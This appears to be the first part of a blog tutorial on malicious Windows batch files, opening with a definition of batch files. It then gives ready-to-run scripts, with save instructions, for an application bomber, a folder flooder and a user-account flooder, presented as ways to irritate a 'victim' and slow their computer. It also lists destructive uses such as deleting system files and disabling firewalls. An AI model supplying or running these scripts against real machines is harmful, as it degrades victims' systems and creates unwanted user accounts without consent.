Part 1 : Are Batch Files Dangerous To Our System?

What is a Batch File?

In DOS, OS/2, and Microsoft Windows, a batch file is a text file containing a series of commands intended to be executed by the command interpreter. Similar to job control language and other systems on mainframe and minicomputer systems, batch files were added to ease the work required for certain regular tasks by allowing the user to set up a batch script to automate many commands. When a batch file is run, the shell program (usually COMMAND.COM or cmd.exe) reads the file and executes its commands, normally line-by-line. Batch files are useful for running a sequence of executables automatically and are often used to automate repetitive or tedious processes.

DOS batch files have the filename extension .bat. Batch files for other environments may have different extensions, e.g. .cmd or .bat in the Microsoft Windows NT-family of operating systems and OS/2, or .btm in 4DOS and 4NT related shells.

What Can Batch File Do?

They can be used to delete the windows files, format data, steal information, irritate victim, consume CPU resources to affect performance, disable firewalls, open ports, modify or destroy registry and for many more purposes.

Some Simple Codes Worth Trying:

Just copy the code to notepad and save it as givenameurself.bat (You can give any name you wish but extension must be "bat" and save it as 'all files' instead of text files).

1. Application Bomber

@echo off // It instructs to hide the commands when batch files is executed

:x //loop variable

start winword

start mspaint //open paint

start notepad

start write

start cmd //open command prompt

start explorer

start control

start calc // open calculator

goto x // infinite loop

This code when executed will start open different applications like paint, notepad, command prompt repeatedly, irritating victim and of course affecting performance.

2. Folder flooder

@echo off

:x

md %random% // makes directory/folder.

goto x

Here %random% is a variable that would generate a positive no. randomly. So this code would make start creating folders whose name can be any random number.

3. User account flooder 

@echo off

:x

net user %random% /add //create user account

goto x

This code would start creating windows user accounts whose names could be any random numbers.

To be continued......

Source: en.wikipedia.org and elakiri.com